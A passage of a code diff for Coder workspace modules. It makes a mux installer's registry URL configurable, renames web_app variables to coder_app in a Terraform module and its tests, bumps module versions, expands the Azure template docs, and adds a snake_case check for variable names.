    ln -sf "$CANDIDATE" "$MUX_BINARY"
  else
-    echo "📥 npm not found; downloading tarball from npm registry..."
+    echo "📥 No package manager found; downloading tarball from registry..."
    VERSION_TO_USE="${VERSION}"
    if [ -z "$VERSION_TO_USE" ]; then
      VERSION_TO_USE="next"
    fi
-    META_URL="https://registry.npmjs.org/mux/$VERSION_TO_USE"
+    META_URL="${REGISTRY_URL}/mux/$VERSION_TO_USE"
    META_JSON="$(curl -fsSL "$META_URL" || true)"
    if [ -z "$META_JSON" ]; then
      echo "❌ Failed to fetch npm metadata: $META_URL"
@@ -118,7 +171,7 @@ if [ ! -f "$MUX_BINARY" ] || [ "${USE_CACHED}" != true ]; then
        echo "❌ Could not determine version for mux"
        exit 1
      fi
-      TARBALL_URL="https://registry.npmjs.org/mux/-/mux-$VERSION_TO_USE.tgz"
+      TARBALL_URL="${REGISTRY_URL}/mux/-/mux-$VERSION_TO_USE.tgz"
    fi
    TMP_DIR="$(mktemp -d)"
    TAR_PATH="$TMP_DIR/mux.tgz"
@@ -16,15 +16,15 @@ The VSCode Desktop Core module is a building block for modules that need to expo
 ```tf
 module "vscode-desktop-core" {
  source  = "registry.coder.com/coder/vscode-desktop-core/coder"
-  version = "1.0.1"
+  version = "1.0.2"

  agent_id = var.agent_id

-  web_app_icon         = "/icon/code.svg"
-  web_app_slug         = "vscode"
-  web_app_display_name = "VS Code Desktop"
-  web_app_order        = var.order
-  web_app_group        = var.group
+  coder_app_icon         = "/icon/code.svg"
+  coder_app_slug         = "vscode"
+  coder_app_display_name = "VS Code Desktop"
+  coder_app_order        = var.order
+  coder_app_group        = var.group

  folder      = var.folder
  open_recent = var.open_recent
@@ -11,9 +11,9 @@ const appName = "vscode-desktop";
 const defaultVariables = {
  agent_id: "foo",

-  web_app_icon: "/icon/code.svg",
-  web_app_slug: "vscode",
-  web_app_display_name: "VS Code Desktop",
+  coder_app_icon: "/icon/code.svg",
+  coder_app_slug: "vscode",
+  coder_app_display_name: "VS Code Desktop",

  protocol: "vscode",
 };
@@ -99,16 +99,16 @@ describe("vscode-desktop-core", async () => {
      );

      expect(coder_app?.instances[0].attributes.slug).toBe(
-        defaultVariables.web_app_slug,
+        defaultVariables.coder_app_slug,
      );
      expect(coder_app?.instances[0].attributes.display_name).toBe(
-        defaultVariables.web_app_display_name,
+        defaultVariables.coder_app_display_name,
      );
    });

    it("sets order", async () => {
      const state = await runTerraformApply(import.meta.dir, {
-        web_app_order: "5",
+        coder_app_order: "5",

        ...defaultVariables,
      });
@@ -122,7 +122,7 @@ describe("vscode-desktop-core", async () => {

    it("sets group", async () => {
      const state = await runTerraformApply(import.meta.dir, {
-        web_app_group: "web-app-group",
+        coder_app_group: "web-app-group",

        ...defaultVariables,
      });
@@ -31,28 +31,28 @@ variable "protocol" {
  description = "The URI protocol the IDE."
 }

-variable "web_app_icon" {
+variable "coder_app_icon" {
  type        = string
  description = "The icon of the coder_app."
 }

-variable "web_app_slug" {
+variable "coder_app_slug" {
  type        = string
  description = "The slug of the coder_app."
 }

-variable "web_app_display_name" {
+variable "coder_app_display_name" {
  type        = string
  description = "The display name of the coder_app."
 }

-variable "web_app_order" {
+variable "coder_app_order" {
  type        = number
  description = "The order of the coder_app."
  default     = null
 }

-variable "web_app_group" {
+variable "coder_app_group" {
  type        = string
  description = "The group of the coder_app."
  default     = null
@@ -65,12 +65,12 @@ resource "coder_app" "vscode-desktop" {
  agent_id = var.agent_id
  external = true

-  icon         = var.web_app_icon
-  slug         = var.web_app_slug
-  display_name = var.web_app_display_name
+  icon         = var.coder_app_icon
+  slug         = var.coder_app_slug
+  display_name = var.coder_app_display_name

-  order = var.web_app_order
-  group = var.web_app_group
+  order = var.coder_app_order
+  group = var.coder_app_group

  url = join("", [
    var.protocol,
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
 module "vscode" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/vscode-desktop/coder"
-  version  = "1.2.0"
+  version  = "1.2.1"
  agent_id = coder_agent.main.id
 }
 ```
@@ -29,7 +29,7 @@ module "vscode" {
 module "vscode" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/vscode-desktop/coder"
-  version  = "1.2.0"
+  version  = "1.2.1"
  agent_id = coder_agent.main.id
  folder   = "/home/coder/project"
 }
@@ -40,7 +40,7 @@ variable "group" {

 module "vscode-desktop-core" {
  source  = "registry.coder.com/coder/vscode-desktop-core/coder"
-  version = "1.0.0"
+  version = "1.0.2"

  agent_id = var.agent_id

@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
 module "windsurf" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/windsurf/coder"
-  version  = "1.3.0"
+  version  = "1.3.1"
  agent_id = coder_agent.main.id
 }
 ```
@@ -29,7 +29,7 @@ module "windsurf" {
 module "windsurf" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/windsurf/coder"
-  version  = "1.3.0"
+  version  = "1.3.1"
  agent_id = coder_agent.main.id
  folder   = "/home/coder/project"
 }
@@ -45,7 +45,7 @@ The following example configures Windsurf to use the GitHub MCP server with auth
 module "windsurf" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/windsurf/coder"
-  version  = "1.3.0"
+  version  = "1.3.1"
  agent_id = coder_agent.main.id
  folder   = "/home/coder/project"
  mcp = jsonencode({
@@ -65,7 +65,7 @@ locals {

 module "vscode-desktop-core" {
  source  = "registry.coder.com/coder/vscode-desktop-core/coder"
-  version = "1.0.0"
+  version = "1.0.2"

  agent_id = var.agent_id

@@ -27,8 +27,21 @@ This template provisions the following resources:

 - Azure VM (ephemeral, deleted on stop)
 - Managed disk (persistent, mounted to `/home/coder`)
+- Resource group, virtual network, subnet, and network interface (persistent, required by the managed disk and VM)

-This means, when the workspace restarts, any tools or files outside of the home directory are not persisted. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
+### What happens on stop
+
+When a workspace is **stopped**, only the VM is destroyed. The managed disk, resource group, virtual network, subnet, and network interface all persist. This is by design — the managed disk retains your `/home/coder` data across workspace restarts, and the other resources remain because the disk depends on them.
+
+This means you will see these Azure resources in your subscription even when a workspace is stopped. This is expected behavior.
+
+### What happens on delete
+
+When a workspace is **deleted**, all resources are destroyed, including the resource group, networking resources, and managed disk.
+
+### Workspace restarts
+
+Since the VM is ephemeral, any tools or files outside of the home directory are not persisted across restarts. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.

 > [!NOTE]
 > This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case.
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
 module "positron" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/cytoshahar/positron/coder"
-  version  = "1.0.1"
+  version  = "1.0.2"
  agent_id = coder_agent.main.id
 }
 ```
@@ -29,7 +29,7 @@ module "positron" {
 module "positron" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/cytoshahar/positron/coder"
-  version  = "1.0.1"
+  version  = "1.0.2"
  agent_id = coder_agent.main.id
  folder   = "/home/coder/project"
 }
@@ -41,13 +41,13 @@ variable "group" {
 variable "slug" {
  type        = string
  description = "The slug of the app."
-  default     = "cursor"
+  default     = "positron"
 }

 variable "display_name" {
  type        = string
  description = "The display name of the app."
-  default     = "Cursor Desktop"
+  default     = "Positron Desktop"
 }

 data "coder_workspace" "me" {}
@@ -55,7 +55,7 @@ data "coder_workspace_owner" "me" {}

 module "vscode-desktop-core" {
  source  = "registry.coder.com/coder/vscode-desktop-core/coder"
-  version = "1.0.0"
+  version = "1.0.2"

  agent_id = var.agent_id

@@ -11,6 +11,34 @@ set -euo pipefail
 #
 # This script only validates changed modules. Documentation and template changes are ignored.

+# Validates that Terraform variable names use underscores (snake_case) instead
+# of hyphens. Hyphens are technically valid but deprecated and non-idiomatic.
+# See: https://developer.hashicorp.com/terraform/language/values/variables
+validate_variable_names() {
+  local dir="$1"
+  local found_issues=0
+
+  while IFS= read -r tf_file; do
+    while IFS= read -r match; do
+      local line_num
+      line_num=$(echo "$match" | cut -d: -f1)
+      local line_content
+      line_content=$(echo "$match" | cut -d: -f2-)
+      local var_name
+      var_name=$(echo "$line_content" | sed -n 's/.*variable "\([^"]*\)".*/\1/p')
+
+      if [[ -n "$var_name" ]]; then
+        echo "  ERROR: $tf_file:$line_num"
+        echo "    Variable \"$var_name\" contains a hyphen."
+        echo "    Rename to \"${var_name//-/_}\" (use underscores instead of hyphens)."
+        found_issues=$((found_issues + 1))
+      fi
+    done < <(grep -n 'variable "[^"]*-[^"]*"' "$tf_file" 2> /dev/null || true)
+  done < <(find "$dir" -name '*.tf' -type f | sort)
+
+  return "$found_issues"
+}
+
 validate_terraform_directory() {
  local dir="$1"
  echo "Running \`terraform validate\` in $dir"
@@ -91,6 +119,16 @@ main() {
    fi
  done

+  echo ""
+  echo "==> Validating Terraform variable names use snake_case..."
+  for dir in $subdirs; do
+    if test -f "$dir/main.tf"; then
+      if ! validate_variable_names "$dir"; then
+        status=1
+      fi
+    fi
+  done
+
  exit $status
 }